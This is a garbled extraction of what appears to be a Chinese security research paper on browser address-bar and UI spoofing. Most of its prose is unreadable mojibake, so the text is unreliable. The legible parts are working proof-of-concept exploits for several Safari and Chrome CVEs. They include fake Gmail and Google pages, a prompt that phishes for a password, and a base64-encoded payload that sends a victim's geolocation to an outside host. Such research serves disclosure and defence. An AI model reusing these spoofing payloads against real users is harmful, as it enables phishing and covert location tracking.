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Browser UI , Ȃ ₃ ̆ ԍ ѿҩ

ѿ ‰̆ ╠ ף ╠̔ ȁ┘ Ả ⱴ

ȁ ȁ ȁ ȁ ף ȁ Ȃ ᴪ ѿ֓

ῒז ̆ᶛ Ҋ ȁ ȁ ȁ ȁ Ȃ ױ

ץ Browser UIҹ ѿҩ╠ Web ̆ Ҍ

ᵥ ̆ ҹ ̆ Browser UI

Ȃ 

׆ ῃ ̆ UI҉ ₯ Ӟ̆ UI SpoofȂ

UI Spoof ₯ᶏ Ȃ ᴪ Ҭ ԍ ̆

Ḥ ѿ ₯ ̆ ᶏ ᴺ ̆ ᶏ ׆ ҉

Ḥῒ ̆ Ҭ ᵬ ̆ Ḥ ₯ ⌠Ȃ 

UX UI Ҭ̆ Ḃ ̆ UI ῃ ҉

ȁ ȁ Ӟ ̆ ῃ UI ꜛ ҉ ȁ‰ Ạ₮

ῃ ‗ Ȃ UIѿ ₮ ԅ ̆ ₯ ᴺ UIҬ ֓῏ Ḥ ̆

₯Ȃ  

ӥҬ ׃ ָӇ UI Spoof̆ ҩ UI҉ ῃ

№ Ȃ 

1  UI Spoof 

UI Spoof ̆ ᶏ ̆ ₯ ᶏץ ⌠

Ạ₮Ҍ ῃ ҹȂ Ҭ ȁ ȁ UI 

Spoof Ȃ UX ҩ Һ ̆ UI ῃ Ҭ̆ ԍ

ҩ╠ UI ᵝ ȁ ȁ ȁⱳ ̆ ⅞ ̆ ῒ

ꜚ Ҭ̆ ѿ Ἕ UI Ȃ ѿ ḤἝ ̆ ץ

₯ └̆ᴺ ᴋ UIῤ ̆ ᴺ UI ̆ Ԋ
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Ȃ UIҬ̆ 1 ѿ֓ ҹľ ֙ 1Ŀ ̆

URL ̆ № ῃ └̆Ӟ ץ ῃḤᴋ UI Ȃ ֙

ᵝԍ ҍ ֜ ̆ ḤᴋἝ ԍ ֙ ̆҉ץ Ӈ ῃ ̆

ӊ↕ᴪľ ֙ĿȂ 

 

1 

1.1  

̆N ԅWeb ῃ ̆ (orgin)ȂWebҬ ȁҺ

̆ ҈ Ȃ ף UIҬ̆ ԅ

̆ ⌠ Ҍ ԅ Ȃ http://www.163.com:80̆ Chrome

ҹwww.163.com̆╠ UI Ҍ Ȃ ̆ץ Ӟױ ץ ҹ

ᴺ ԅҺ ̂ IP̃̆ ѿҩ Ȃ 

Google ľ̔ ױ ⌠ ף Ҭ ѿ ῃ ȂĿ Ӟ

̆ Ӈ Web ῤ Ḥᴋ ῃ Ȃ 

Ҭ̆URL∆ ASCIĬ ῀Unicode ԍ

ҕ ҉ᴋᵥ Ȃᵖ Unicode ̆ ԅҕ ῤ ̆

╠ ₃҆ҩ̆ ғ Ҍ ⱴȂ ֓

̆ ᴪ ֟ Ȃ 

UnicodeҬ ᵌ ̆ ңҩҌ Unicodeұ̆ №

Ҭ̆ῒ № Ȃᶛ ľ  ʌ(U+2216)Ŀ ľ̶(U+FF3C)Ŀ ⱳױ

                                                        

1 https://textslashplain.com/2017/01/14/the-line-of-death/ 

https://textslashplain.com/2017/01/14/the-line-of-death/
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Ҍ ᵖ ῒ ᵌȂ â U+0061̃2̆׆ 1Ӟ ץ ₮ Ҍ ᵌ Ȃ 

a 61 LATIN SMALL LETTER A 

ὄ 251 LATIN SMALL LETTER ALPHA 

Ŭ 03B1 GREEK SMALL LETTER ALPHA 

ʘ 430 CYRILLIC SMALL LETTER A 

 237A APL FUNCTIONAL SYMBOL ALPHA 

Ἡ 1D41A MATHEMATICAL BOLD SMALL A 

ὥ 1D44E MATHEMATICAL ITALIC SMALL A 

╪ 1D482 MATHEMATICAL BOLD ITALIC SMALL A 

 1D4B6 MATHEMATICAL SCRIPT SMALL A שׂ

 1D4EA MATHEMATICAL BOLD SCRIPT SMALL A 

 1D51E MATHEMATICAL FRAKTUR SMALL A 

 1D552 MATHEMATICAL DOUBLE-STRUCK SMALL A 

 1D586 MATHEMATICAL BOLD FRAKTUR SMALL A 

 1D5BA MATHEMATICAL SANS-SERIF SMALL A 

 1D5EE MATHEMATICAL SANS-SERIF BOLD SMALL A 

 1D622 MATHEMATICAL SANS-SERIF ITALIC SMALL A 

 1D656 MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL A 

 1D68A MATHEMATICAL MONOSPACE SMALL A 

 1D6C2 MATHEMATICAL BOLD SMALL ALPHA 

‌ 1D6FC MATHEMATICAL ITALIC SMALL ALPHA 

♪ 1D736 MATHEMATICAL BOLD ITALIC SMALL ALPHA 

 1D770 MATHEMATICAL SANS-SERIF BOLD SMALL ALPHA 

 1D7AA MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ALPHA 

̻ FF41 FULLWIDTH LATIN SMALL LETTER A 

1 

ԅ ̆ Ҭ ңҩ ľᵰ ̂ ╠URL̃ ᵰ ̂

URL̃Ŀ̆ ԑ Ԉȁԑ ԍѿ֓ Ȃ 

ᶛ ̔t=window.open(óhttp://www.google.comô); t.document.write(óspoofingô);t.stop()Ȃ 

֓ Ҭ̆ ף ץ ѿҩ Ȃ 

ꜚ Ҭ̆ UI Ἕ ӊԈ̆ ҹ ꜚ ԅȂ

URL ᴪᶏ ₮ Ȃ ̆ ѿ

                                                        

2 https://unicode.org/cldr/utility/confusables.jsp?a=a&r=None 

https://unicode.org/cldr/utility/confusables.jsp?a=a&r=None
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↕3Ȃ 

ᶛ ̔ ₯ URL https://login.your-bank.com.evil.com/login.your-bank.com 

 

2 

2 ңҩ Ȃ ѿҩ ԅURL ̆

ԅ ѿ №̕ ԋҩ ̆ ԅ URL ̆ URL

pathname№Ȃ ң ̆ ₮ evil.com̆ ᴪ ҹ ╠

login.your-bank.comȂ 

ף Ҭ̆ ԅ ╠ URL ῀ URL ֓

ⱳ ̆ ⱴ῀ԅ ⱳ ̆ ̆ ╠

ԋҹѿ̆Ḛ ̆ URL ҉ ҉

Ӱ Ȃ 

1.2  

(alert())ȁ (confirm())ȁ (prompt())Ҭ ⌠

҈ҩ Ȃ ֓ ԍ ȁ ῀Ḥ Ȃ Ҭ ѿ֓ῒ

ⱳז ̆Ӟᴪ ѿ֓ ̆ ᵝ(Geolocation API) ȁ

(Notification API) Ȃ ҉ ̆ ῒ ꜚ ₮

                                                        

3 https://www.chromium.org/Home/chromium-security/enamel 

https://login.your-bank.com.evil.com/login.your-bank.com
https://www.chromium.org/Home/chromium-security/enamel
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ᴺ Ȃ ̆ Ҭ ץ ῀ᴋ ῤ ̆ ᴪ ⱳ Ȃ 

Â ꜚ ₮ 

ҽҩ ᶛ ̆ɒ www.xisigr.comᴪ ₮ѿҩ ̆ Ӈ ҩ

xisigr.com₮ ̆xisigr.comꜚ Ȃ ױ ᶏץ ҩ

google.com₮̆ Ӈ ҩ ԅ̆ google.comꜚ Ȃ 

Â ᴺ  

ԍ ̆ɒ www.xisigr.com₮ѿҩ׆ ̆ ’ ҉ᴪ

Ḥ ̆ ᴪ www.xisigr.comȂ ԅ ̆ᶏӊ ҹwww.google.com̆

ᴺ ԅ Ḥ Ȃ ғ Ӟ ѿҩ Ȃ 

ԍ ֓Ҍ Ḥ ̆ Ҭ ץ ῀ ̂\r\ñ̆

Ӈ ₯ ῀www.google.comұ̆ ᵝ ᶏӊ ᵌ

Ḥ ׆̆ ⌠ Ȃ 

1.3  

ף Ҭ̆ Ҍᴪ ꜚ Һ Ȃ ⱴ

̆ ᴪ Ҋ ₮ Ȃ ҉ Ҋ₃ץ ̔ 

̂1̃ ꜚ⌠ ҉̆ A Ȃ ₯ ̆ B Ȃ ҩ

ᶏ ץ Ȃᶛ ̔ 

<a onclick="location='// B.com';return false;" href="// A.com"> A.com </a>  

ҩ Ҍ ̆ ѿҩ Ȃ ғ ӄץ ѿ

Ȃ 

̂2̃ ᶏ CSS₮ѿҩ Ȃ CSS3Ҭ ⱴԅ ̆ ᶏ

ױ ᶏץ CSS₮ѿҩ ѿ ѿ ̆ ץ ֟ Ȃ

ҩ ׆ ῃ ̆ ῃ Ҍ Ӈ Ȃp ᵬ ₮

ҩ ̔ UI ץ ᶏ ῃ ̆ ᴪ Ȃ 
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2 UI Spoof  

2.1  + ү Ὴ ┼ ЃCVE-2015-3755Є 

CVE-2015-3755ᵬ ѿҩ Webkitҩ ῃ └ ̆ Webkit

URLҬ ₮ ̆ ₯ ≠ ץ URL

₯̆ ץ ץ̆ Ҭ HTTPSῃ Ḡ └ Ȃ 

֟ ̔Apple Safari < 8.0.8, Apple Safari <7.1.8, Apple Safari <6.2.8, iOS<8.4.1 

Ὲ ̔ 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3755 

Ӈ ҩ ᵥ ̙ ױ CVE-2015-3755POCȂ 

<a href="https://www.gmail.com:443."target="aa"  

onclick="setTimeout('fake()',100)"><h1>click me</h1></a>  

<script>  

function fake() {  

var t = window.open('ja vascript:alert(1)','aa');  

t.document.body.innerHTML = '<title>Gmail</title><H1>Fake Page!!! -- hack by 

xisigr</H1>';  

}  

</script>  

҉ ף Ḡ ҹ test.html̆ᶛ ̔http://www.xisigr.com/test.htmlȂ

Ҭ Ȃ 3 ᵬ iOS SafariҬ ̆URL +

+httpsῃ └ Ȃ 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3755
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3 

ױ Ҭ ̔ ҹ ̆ 16β Ȃ

URL ̆ ῒҬ ̆ᶛ ̆ ᴪ ⌠ ᾢ ӈ

Ȃ ױ POCҬ URL ̔ 

https://www.gmail.com:443.  

ѿҩ URLȂSafari ҩ ̆₮ ԅ Ȃ

ᶏ Ả www.gmail.com̆ ғ ױ ץ DOM ᵬ̔ 

var t = window.open('javascript:alert (1)','aa');  

t.document.body.innerHTML = '<title>Gmail</title><H1>Fake Page!!! -- hack by 

xisigr</H1>';  

alert(1)₮ ̆ https://www.gmail.comȂ

ԅ ̆ ҹ ҉ ╠ xisigr.comȂ ף alert(document.domain)̆

ᴪѿ ԅ Ȃ 4 Ȃ 
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4 

Ӟ ԅSafariῃ ∞ └Ȃ ױ https

̆ ᴪ Ҭ ῃ Ȃ ץ ̆ ╠

ᴰ ⱴ ̆ ῃ Ȃp ױ ѿҩ ⱴ URL̆p Safariׅ

ԅ ῃ Ȃ 

2.2  + ЃCVE-2015-7093Є 

ḱ ԅ CVE-2015-3755ҩ ץ ̆SafariḂ iOS Ҭ ԅ

Ȃᶛ ף ̔ 

 <button onclick=alert(1)>Click me</button>  

₯Click mĕ ѿҩalert(1)̆ UIҬ ᴪ ľ1Ŀ̆ Ҍᴪ

Ȃ ChromeFirefoxҬᴪ Ȃ 5 ̔ 
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5 

Ҭ ̆ ѿҩ ῃ ȂҌ ҹᵥSafariḱ CVE-

2015-3755ҩ ̆ᴪ Ạ Ȃ ԅ ̆ᴪᶏ

ⱴ̆῏ԍ ᴪ № ҬẠ Ȃ 

CVE-2015-7093ҩ ᵬ ’Ҋ Ȃ ̆ SafariҬ

ץ ꜚ ₮̆ ғ UIҬ ץ ῀ῤ ̆ ᴺ Ȃ ₯ ≠

ҩ ̆ ץ ₯Ȃ 

֟ ̔Apple Safari, Apple iOS <9.2 

Ὲ ̔https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-7093 

CVE-2015-7093POC: 

Ḡ Ҋ ף ҹ:http://test.com/1.html 

<html>  

<a href=2.html target='_blank'>click  me</a>  

</html>  

 

Ḡ Ҋ ף ҹ̔http://test.com/2.html 
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<html>  

<body>  

<script>  

location='https://www.google.com';  

function go(){  

if(window.opener){  

window.opener.location = 'data:text/html,<title>test</title><script >' +  

' pass = prompt("ht tps://google.com             \ nType  your password: \ n"); ' +        

' alert("Your Password is: "+pass);'+  

'< \ /script>';  

}}  

go();  

</script>  

</body>  

</html>  

SafariҬ http://test.com/1.html̆ ₯Click me, Ҭ ῀

̆Ḥ Ȃ 6 ̆ Ҭ ῀123̔ 

 

  

6 

ױ POCף ̆ ѿ № ҩ ₯ ᵥ Ȃ ᾢ̆ ױ

2ҩ ̆ Aҹwww.test.com/1.html̆ Bҹwww.test.com/2.htmlȂ

A B Ȃ 

http://test.com/1.html
http://www.test.com/1.html


                                              

 12 / 41 

BҬ ף Һ 2ҩⱳ Ȃ 

̂1̃ B ̆ ⌠ https://www.google.com Ȃ 

ף ̔location='https://www.google.com';  

 

̂2̃ ᶏ A ₮ Ȃ 

ף ̔ 

window.opener.location =  

'data:text/html,<title>test</title><scri pt>pass =prompt("https://go

ogle.com              \ nType  your password: \ n");aler t("Your 

Password is: "+pass);< /script>';  

 

B ⌠https://www.google.comṜ̆A ₮ B

̆ ҩ ԅB ⌠https://www.google.com,ᶏ ԍѿҩ Ȃ

ԅ҉ Ҭ Ȃ ғ ₯ Ҭ ῀ԅ ΐ ῤ ̆N

ԅ Ȃ 

2.3  ᵣ ЃCVE-2016-1779Є 

Ҭ ԅ alert()/prompt()/confirm()̆ ѿ֓ Web API

̆ ᵝ(Geolocation API)ȁ (Notification API)̆

֓ Web API₮ ̆ Ȃ 

CVE-2016-1779ҩ ̆ ᵝ ȂGeolocation API

Һ ᵝ ̆ ғ ѿ Ḡ └4Ȃ ᶏ

ᵝⱳ ̆ץ ᾢ ԅḤᴋ῏ Ȃ ᶏ

Geolocation APIᴪ ₮ѿҩ ̆ ғ ҩ UI҉

URLȂCVE-2016-1779ҩ ץ ₯ ᶏ ᴋ

₮̆ ғ ₯ᾛ ⌠ ᵝ Ȃ 

֟ ̔Apple iOS < 9.3 , Apple Safari < 9.1 

                                                        

4 https://www.w3.org/TR/geolocation-API/#security 

https://www.w3.org/TR/geolocation-API/%23security


                                              

 13 / 41 

Ὲ ̔https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1779 

Geolocation ̆ ױ Ҋ ף ̆╠ ӊ╠ ᾛ

╠ GeolocationȂ 

<script>  

function success(position) {}  

navigator.geolocation.getCurrentPosition(success);  

</script>  

ᶛ ̔http://www.test.com/geo.htmlȂ ̆ ᴪ ╠ ҉ ₮ ̆

UI҉ᴪ ̔www.test.comȂ 

׆ ҩ Ҭ̆ᵬ ԅץҊ Ȃ 

1.  Ȃ 

2. ץ  ̆ ҹץ Ȃ 

 

ԍ ̆ ҩ ̆ Ȃ ҩ Ҭ̆ iOSҊSafariChrome

ᶏ data: ף ̆ ҹľ://ĿȂ 7 Ȃ 

data:text/html;base64,PHNjcmlwdD4KZnVuY3Rpb24gc3VjY2Vzcyhwb3NpdGlvbikge30

KbmF2aWdhdG9yLmdlb2xvY2F0aW9uLmdldEN1cnJlbnRQb3NpdGlvbihzdWNjZXNzKTsKPC9zY3J

pcHQ+Cg== 
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т 

Ҋ ᵬ ѿ ᴨ ԅPOCȂ 

<title>test</title>  

<script>  

function geo(){  

window.open('http://www.google.com');  

location = 

'data:text/html;base64,PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ 

+CjxtZXRhIGNoYXJzZXQ9dXRmLTggLz4KPHRpdGxlPmdlb2xvY2F0aW9uPC90aXRsZT4KPGJvZHk

+CjxzY3JpcHQ 

+CmZ1bmN0aW9uIHN1Y2Nlc3MocG9zaXRpb24pIHsKZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3J

lbW90ZScpLnNyYz0iaHR0cDovL3hpc2lnci5jb20vdGVzdC9nZW8v 

Z2V0LnBocD9nZW9sb2NhdGlvbj0iKyItLS0tLS0iK2VuY29kZVVSSUNvbXBvbmVudChwb3NpdGlv

bi5jb29yZHMubGF0aXR1ZGUpKyIsIitlbmNvZGVVUklDb21wb25lb 

nQocG9zaXRpb24uY29vcmRzLmxvbmdpdHVkZSk7CiB9Cm5hdmlnYXRvci5nZW9sb2NhdGlvbi5nZ

XRDdXJyZW50UG9zaXRpb24oc3VjY2Vzcyk7Cjwvc2NyaXB0Pgo8aW 

1nIGlkPSJyZW1vdGUiIHNyYz0iIiB3aWR0aD0wIGhlaWdodD0wPgo8L2JvZHk+CjwvaHRtbD4=';  
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}  

</script>  

<button onclick='geo()'>Click Me</button>  

 

ῒҬBase64 ף Ҋ̔ 

<!DOCTYPE html>  

<html lang="en">  

<head>  

<meta charset=utf - 8 />  

<title>geolocation</title>  

<body>  

<script>  

function success(position) {  

document.getElementById ('remote').src="http://xisigr.com/test/geo/get.php?ge

olocation="+" ------

"+encodeURIComponent(position.coords.latitude)+","+encodeURIComponent(positi

on.coords.longitude);  

 }  

navigator.geolocation.getCurrentPosition(success);  

</script>  

<img id="remote" src=" " width=0 height=0>  

</body>  

</html>  

҉ ף ̆ 8 Ȃ 



                                              

 16 / 41 

  

8 

╠ ױ  ľ ҉ ̆ ╠ ĿȂ ̆ ױ

ⱳ ԅ ̆ᶏdata:Geolocationꜚ ₮̆ ԅѿ

ҩ ₯Ȃ ₯ᾛ ̆ Ӟ UI҉ ╠

̆ԍ ᵝ ⌠ ₯ Ⱶ ԅȂ 

ѿҩ῏ԍ CVE-2016-1779 Ԋ №֣Ȃᵬ ҩ ֜

APPLEῈ Ҍӄ̆ 2016/1/6ᵬ̆ Ⱶ ҉ ⌠ԅѿ֓ ᵝ ᴰḤ Ȃ ҹ

֜ POCҬ ₮̆ᶏ Ⱶ ԅѿҩ ̆ ̆

↕ᴪᴰ⌠ᵬ Ⱶ ҉Ȃ 9 Ȃ 
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9 

̆37.332578830316436,-122.03068509201906,Apple

Ȃ 10 Ȃ 

 

10 
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׆ ⌠ ץ ̆ ֲ №≢ 2016/1/6ȁ2016/1/7ȁ2016/1/8ȁ

2016/1/10ȁ2016/1/20ȁ2016/1/22ȁ2016/1/287ҩ ԅPOC̆ ғ ̆

Ȃ ֲ ̆ ̆

ᶏ ԅᵬ ᶫ POCҬ ̆ ץ Ṝ ᵝ ᴰ⌠ԅ

ᵬ Ⱶ ҉Ȃ 

ῃֲ ⌠ ҩ ̆ ҹ POCҬ ₮ ᴪ ᴰ⌠ ҩ

xisigr.com/test/geo/info.txtȂᵖ ױז̆ ԅ7 ̆ Ҍ

ᵝ ₮ ̆ ҩ ҉ ᴋץ ⌠Ȃᵖ ᵬ̆

, ֲ ᵝ ױז ᵬ ⌠ԅȂ 

Ҍֽֽ ѿҩ Ԋ̆ ̆ ₯Ҭ̆ Ҝ Ḥ

ᴪ ҹľ ӊ ԍ Ŀ ȂҌ ᵌԍ ᵝ Ḥ

₯ ⌠Ȃ 

2.4  Blob-URLs ЃCVE-2016-5189CVE-2016-7623Є 

ԍľhttpĿȁľhttpsĿȁľftpĿ ֓ URL schemĕ URL scheme

҉ ₯Ӟ ̆ғ Ȃ URL scheme

ľdataĿȁľaboutĿȁľblobĿȁľfilesystemĿȁľfileĿȂCVE-2016-5189̓͂ԍľblob URLsĿ҉

URL Ȃ ҩ ԍChrome ҬȂ 

֟ ̔Google Chrome < 54.0.2840.59 for Windows,Mac,Linux. 54.0.2840.85 for 

Android 

Ὲ ̔https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5189 

Â ָӇ blob URLs 

blob(binary large object)ԋ̆ └ ̆ ѿҩ ץ Ữԋ └ ᴆ Ȃľblob URLsĿ

ᾛ ׆ Web Ҭ ῃ ԋ └ ̆Ӟ ľῤ׆ ĿҬ blob Ȃ

ѿҩľblob URLsĿ Һ ѿҩ UUID Ȃblob = scheme ":" origin "/" UUIDȂ

schemeѿ blob̆ originblob URLsҬ ̆UUIDӈ [RFC4122]Ȃ 

ᵰ ⌠ blob URLsἝ ҩ ̔ 
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blob:https://example.org/ea3527a8-134f-46ae-be03-421f067d97f0 

 

Â ѿҩblob URLs 

URL.createObjectURL() ᴪ⇔ ѿҩ DOMStrinğ  URL Ҭ

Ȃ ҩ URL ⇔ Ҭ  document Ȃ ҩ URL 

 File  Blob Ȃ 

 createObjectURL() ̆ ᴪ⇔ ѿҩ  URL ̆ ᶏᵰ

ᵬҹ ⇔ Ȃ ҌῬ ֓ URL ̆ ҩ  

URL.revokeObjectURL() Ȃ ᴪ ₮ Ṝ ꜚ ᵖ̆ױ ҹԅ

ᶃ ῤ ᶏ ’̆ᵰ ῃ Һꜚ  Ȃױ

Ҭ ̆http://example.com/blob.htmlȂף Ҋ̔ 

 <script>  

 function aa(){  

 args = [ ' 123456 ' ];  

 b = new Blob(args, {type: 'text/html'});  

      window.open(URL.createObjectURL(b));  

 }  

 </script>  

 <button onclick=ôaa()ô>click me</button> 

PC ChromeȁSafariȁFirefoxҬ ₯click mĕᴪ ₮ѿҩblob URLs

̆ ῤ 123456Ȃ 

Edge Ҭ̆ ף Ȃ ғ̆EdgeҬ blob URLsᴪ ̆

origin№̔blob:246AC85B-5A42-425B-A059-F8A41BC13122Ȃ 

 

Â blob URLs҉  

 

CVE-2016-5189POCף Ҋ̔ 

 

<script>  

function pwned() {  

    var t = window.open('', 'ss');  

    t.document.write("<h1>phishing page</h1><title>google</title>");  

    t.stop();  
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}  

</script>  

<a href="blob:http://www.google.com%EF%BE%A0éééé@xisigr.com" target="ss" 

onclick="setTimeout('pwned()','500')">click me1</a><br>  

<br>  

<a href="blob:http://www.google.com         éééé@xisigr.com" target="ss" 

onclick="setTimeout('pwned()','500')">click me2</a><br>  

 

₯Click mĕ 11 Ȃ 

 

 
мм 

POCҬ ף Ҍ ̆̓͂ ף ҩURLҬľwww.google.comŀ@xisigr.comĿȂ

ᶏ ԅ@ ╠ⱴ῀ԅѿҩ ұ www.google.com̆ ғ

www.google.comӊ ⱴ҉ԅ Ȃԍ ⌠ ̆

Ҭ ⌠Ȃ ᴪ ҹ google.comҬ ľblob URLsò̆ ԅ ₯Ȃ 

CVE-2016-7623 ľblob URLsĿ҉ Ȃ CVE-2016-5189ɜ̆

Ҍ ᶏ %EF%B9%BÂU+FE7Ã̆ ҌῬ ׃ Ȃ 12

Ȃ 

֟ ̔iOS <10.2 ,Safari <10.0.2 

Ὲ ̔https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-7623 
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мн 

CVE-2016-7623 PoC 

ππππππππππππππππππππ 
<script>  

function go() {  

    var t = window.open('', 'aaaa');  

    t.document.write("<h1>phising</h1><title>Google</title>");  

}  

function ipad(){  

    var t =  

window.open('blob:http://www.google.com'+Array(0x50).join("%EF%B9%BA")+'@

xisigr.com', 'aaaa');  

    setTimeout('go()','500');  

}  

function iphone(){  

    var t =  

window.open('blob:http://www.google.com'+Array(0x20).join("%EF%B9%BA")+'@

xisigr.com', 'a aaa');  

    setTimeout('go()','500');  

}  

function blob(){  

    var blob=new Blob([],{type:"text/html; charset=utf - 8"});  

    var url=URL.createObjectURL(blob);  

    var t = window.open(url, 'aaaa');  

    if (navigator.userAgent.indexOf("iPhone") > - 1) {  
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     setTimeout('iphone()','500');  

 }  

    if (navigator.userAgent.indexOf("iPad") > - 1) {  

     setTimeout('ipad()','500');  

    }  

}  

</script>  

<button onc lick="blob()">Click me</button>  

CVE-2016-5189CVE-2016-7623ңҩ ԅ Blob-URLs

№̆ ῒ ȂѿҩURL Ҍ ̆ ҹ ױ ץ ҹ

ѿҩURLҺ Ȃᶛ ̔https://examplecorp.com@attacker.example/Ȃ 

2.5  Ὼ : ЃCVE-2016-1707Є 

CVE-2016-1707ҩ ̆ ԍ20166 GoogleѿҩiOS Chrome

Ȃ ҩ ԅ Google 3000$ ꞉Ȃ ₯ 13

Ȃ 

֟ ̔Chrome < v52.0.2743.82̆iOS < v10 

Ὲ ̔https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-1707 

 

13 
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<script>  

payload="PGJvZHk+PC9ib2R5Pg0KPHNjcmlwdD4NCiAgICB2YXIgbGluayA9IGRvY3VtZW50

LmNyZWF0ZUVsZW1lbnQoJ2EnKTsNCiAgICBsaW5rLmhyZWYgPSAnaHR0cHM6Ly9nbWFpbC5jb206

Oic7DQogICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChsaW5rKTsNCiAgICBsaW5rLmNsaWNr

KCk7DQo8L3NjcmlwdD4=";  

function  pwned() {  

    var t = window.open('https://www.gmail.com/', 'aaaa');  

    t.document.write(atob(payload));  

    t.document.write("<h1>Address bar says https://www.gmail.com/ -  this 

is NOT https://www.gmail.com/</h1>");  

}  

</script>  

<a href="https://hack.com: :/"  target="aaaa"  

onclick="setTimeout('pwned()','500')">click me</a><br>  

 

ѿҊ ҩף ⱴ Ȃ ᾢ ₯click meҩ ̆ ѿҩ

nameҹaaaa ̆ ҩ ⱴ https://hack.com::̆ ҩ ץ ḂΏȂ500

pwned()̆ aaaa https://www.gmail.com̆ ҩURLץҹ Ȃ⌠

ҹ ̆ѿ℗ף ̆ Ҋ ף ף Ȃ 

base64ⱴ ף ̔ 

 

base64 payload code: 

<body></body>  

<script>  

    var link  = document.createElement('a');  

    lin k.href = 'https://gmail.com::';  

    document.body.appendChild(link);  

    link.click();  

</script>  

aaaa ֜̂commit̃https://gmail.com::̆ ѿҩ Ԋ ̆

https://gmail.com::ѿҩ ̆ ᵥ ֜ Ȃ ԅ ̆

ᶏ a ₯ Ạ⌠̂window.open/location↕Ҍץ ̆̃ץ ғᶏ ҩ

ԅѿҩ (pending status)Ȃ ̆ Chromeⱴ ԅ about:blank̂ ⌠ԅ

about:blank̃̆ ᵖ URL Ҭ ̆Chrome ԅ

https://gmail.com:: ᵬҹ ֜ ̆ⱴ https://gmail.com::URL Ҭᴪץ

https://gmail.com̆ңҩ::ᴪ Ȃ ̆ ҩⱴ Ȃѿҩ

URL Spoofing֟ ԅȂ 



                                              

 24 / 41 

Â ᵥḱ  

ҩ ῏ ̆Chromeᾛ Web ⱴ Ṝ̆ ֜ѿҩ

ȂGoogleӞ ԍ ₮ԅ Ҁ ᴆ̆ ⱴ Web ṜҌᾛ ֜

̆ ⌠ ̆↕ ᶏ ╠URLҹabout:blankȂ 

// Ensure the URL is as expected (and already reported to the delegate).  

-   DCHECK(currentURL == _lastRegisteredRequestURL)  // ӊ╠ ∞ ԅ ╠ URL

URL  

+  // If |_lastRegisteredRequestURL| is invalid then |currentURL| will be  

+  // "about:blank".  

+  DCHECK((currentURL == _lastRe gisteredRequestURL) ||  

+         (!_lastRegisteredRequestURL.is_valid() && // ⱴ∞ ѿҩ

URL 

+      _documentURL.spec() == [url::kAboutBlankURL)](url::kAboutBlankURL)))   

       << std::endl  

       << "currentURL = [" << currentURL << "]" << std::endl  

       << "_lastRegisteredRequestURL = [" << _lastRegisteredRequestURL << 

"]";  

 

   // This is the point where the document's URL has actually changed, and  

   // pending navigation information should be applied to state information.  

   [self setDocumentURL:net ::GURLWithNSURL([_webView URL])];  

-   DCHECK(_documentURL == _lastRegisteredRequestURL);  

+ 

+  if (!_lastRegisteredRequestURL.is_valid() &&  

+      _documentURL != _lastRegisteredRequestURL) {  

+    // if |_lastRegisteredRequestURL| is an invalid URL, then 

|_d ocumentURL|  

+    // will be "about:blank".  

+    [[self sessionController] updatePendingEntry:_documentURL];  

+  }  

 

+  DCHECK(_documentURL == _lastRegisteredRequestURL ||  

+         (!_lastRegisteredRequestURL.is_valid() &&  

+          _documentURL.spec() == u rl::kAboutBlankURL));  

+ 

   self.webStateImpl - >OnNavigationCommitted(_documentURL);  

   [self commitPendingNavigationInfo];  

   if ([self currentBackForwardListItemHolder] - >navigation_type() ==  
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2.6  ₵ ЃCVE-2016-5222Є 

҉ CVE-2016-1707ҩ Ҭ̆ ᶏױ ԅңҩ ῳ ̂̔̃ ԅ URL

ȂCVE-2016-5222ҩ Ҭ̆ᶭ ⌠ԅ ҩ Ȃ 

ԍ Web Ҭ ̆ ױ ᶏץ ̔ ₯ ȁ ₯

ȁ ⌠ Ȃ ₯ѿ ̆ ѿҩ ᶏ Ȃ

₯ ̆ ᶏ Ӟ̆ ῃ ᴪ ⌠

ȂCVE-2016-5222ҩ ̆ ̆ᶏ Ȃ 

֟ ̔Chrome < v55.0.2883.75 for Winows/MAC/Linux 

Ὲ ̔https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5222 

ױ Chrome Ҭ ףҊץ ̆ ѿ ף Ȃ ̆ᶏ

₯ Ȃ 

<a href="google.com::">Click me</a>  
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14 ץ ̆ ⌠ԅgoogle.com̆ᵖ Ҭ URLץ ⌠

Ҍ ѿ ̆google.com:Ȃ URL̆ ѿ֓ Ȃ 

Ҋ ̆ ԅҌ URL֜ ̆ ԅ ץ URL Spoof₯ ̔

ꜚ ̆ ⱳ ᴪ ⌠ ̆ᵖ Ҭ URL ̆

Ҍᴪ ȂӞ ̆ Google.comURL Spoof̆ ⌠ѿҩGoogle


























